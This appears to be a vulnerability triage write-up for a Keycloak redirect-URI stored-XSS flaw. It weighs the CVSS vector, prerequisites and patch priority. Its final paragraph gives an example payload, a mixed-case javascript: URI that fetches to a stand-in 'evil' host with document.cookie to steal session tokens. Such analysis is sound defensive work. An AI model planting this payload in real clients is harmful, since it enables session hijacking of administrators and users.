Red Hat Keycloak CVE-2026-9086

Exploitation requires an attacker who already holds administrative-level access to client management - specifically the manage-client permission or reachable client registration endpoints - to register or modify a client with a crafted redirect URI using a case-insensitive javascript: or data: scheme. It further requires victim interaction (UI:R): a user or admin must click the crafted link, typically surfaced through the logout flow or the Admin Console. Limiting factors: this is not unauthenticated (PR:L per the CVSS vector), it depends on Keycloak being configured to allow the relevant client registration access, and it does not fire automatically - a victim click in the Keycloak origin is mandatory, which narrows realistic exploitation to environments with delegated client administration or exposed/dynamic client registration.

Signals are moderately concordant rather than alarming. The CVSS 3.1 vector CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N yields 7.3 (High): network-reachable and low-complexity, but it requires privileges (PR:L) and victim interaction (UI:R), which materially limit mass exploitation. The key prerequisite - an attacker who already holds manage-client or client-registration access - means the threat model is largely a privileged/insider or compromised-admin-account scenario, or environments that expose open/dynamic client registration. No EPSS score, no KEV listing, and no POC are present in the provided data, so this is not currently evidence of active or widespread exploitation. The C:H/I:H/A:N impact is justified because executing script in the IdP origin can hijack admin sessions and tokens (confidentiality and integrity) without taking the service down. Net: a real, worth-patching issue for any multi-tenant or delegated-admin Keycloak deployment, but not an emergency drop-everything item absent exploitation evidence - prioritize where client registration is broadly delegated or publicly exposed.

An administrator (or attacker who has compromised an account holding manage-client permission) registers a new OIDC client and sets a redirect URI such as JavaScript:fetch('//evil/'+document.cookie), which evades the case-sensitive scheme filter. The attacker then lures a logged-in Keycloak admin or user into clicking a logout or Admin Console link tied to that client; the script runs in the Keycloak origin and exfiltrates the victim's session token, granting the attacker control of that session. No public POC is referenced in the source data, and exploitation requires the victim interaction (UI:R) and prior low-level privileges (PR:L) reflected in the CVSS vector.